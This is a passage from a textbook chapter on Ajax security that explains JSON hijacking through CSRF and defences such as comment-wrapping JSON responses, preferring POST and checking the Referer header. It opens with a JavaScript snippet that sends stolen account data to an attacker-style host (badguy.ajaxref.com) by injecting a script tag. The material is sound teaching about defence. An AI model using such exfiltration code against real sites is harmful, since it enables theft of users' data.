AJAX - The Complete Reference

(avery) #1

PART II


Chapter 7: Security Concerns 327


var url = "http://badguy.ajaxref.com/ch7/saveaccounts.php?accounts=" + data;
var scr = document.createElement("script");
scr.src = url;
document.body.appendChild(scr);
}

However, even if there were no bright spots such as the difficulty of stealing the object
literal alone in the JSON+CSRF attack, the scheme can be defeated in quite a number of ways.

NNOT EOTE As this book is finished the impending launch of Firefox 3 may change the ability for base
objects like arrays to be augmented as shown in some examples in this section. The modification
of the language in such a core way may not be an appropriate solution to the CSRF problem nor
does it address deployed browsers or other browser vendors who may not address the problem in
such a way. Given the uncertainty of the viability of such solutions readers should understand
how to defeat CSRF on their own.

Defeating CSRF


The first way to defeat JSON payload hijacking is to wrap the response. For example,
instead of sending back a standard JSON array here, we wrap it in JavaScript comments:

/*[{"accountNumber":"1375523747"},{"accountNumber":"2184575835"},{"accountNumber
":"3225743886"},{"accountNumber":"4315783945"},{"accountNumber":"5195715755"},
{"accountNumber":"6225785865"}]*/

Now, in Ajax applications when the wrapped responses are received, they are passed to
the decodeJSON() method:

var accounts = AjaxTCR.data.decodeJSON(response.xhr.responseText);

That function has been modified slightly to strip the comments before consumption:

if (jsonString.substring(0,2) == "/*")
jsonString = jsonString.substring(2,jsonString.lastIndexOf("*/"));

Now, you are protected from the direct consumption of a JSON response by a <script>
tag. The library has been updated to address this but it is up to you to make sure your
applications emit the wrapped JSON format if you want to enjoy this protection. Of course,
there might be more that can be done to improve the security of JSON responses as well.
First, note that a <script> tag is used to fetch content. If the resource to be called only
worked with a POST, it would be a bit difficult to execute a CSRF attack on it (though
potentially not impossible since iframes can be used to post). Note that a few libraries are
now being set to use the POST method as default. There are certainly good reasons to do
this, but there are also bad reasons. It would probably be optimal if an Ajax communication
library did not default to a particular HTTP method but forced it to be specified, though
that would add a tiny bit more work for a programmer using such a library.
Second, observe that the request to the bank site was made outside of its normal context
of operation. With a normal visit, the various requests would have been made with a base
Referer header coming from the same site (ajaxref.com), not unsecure.ajaxref.com or
Free download pdf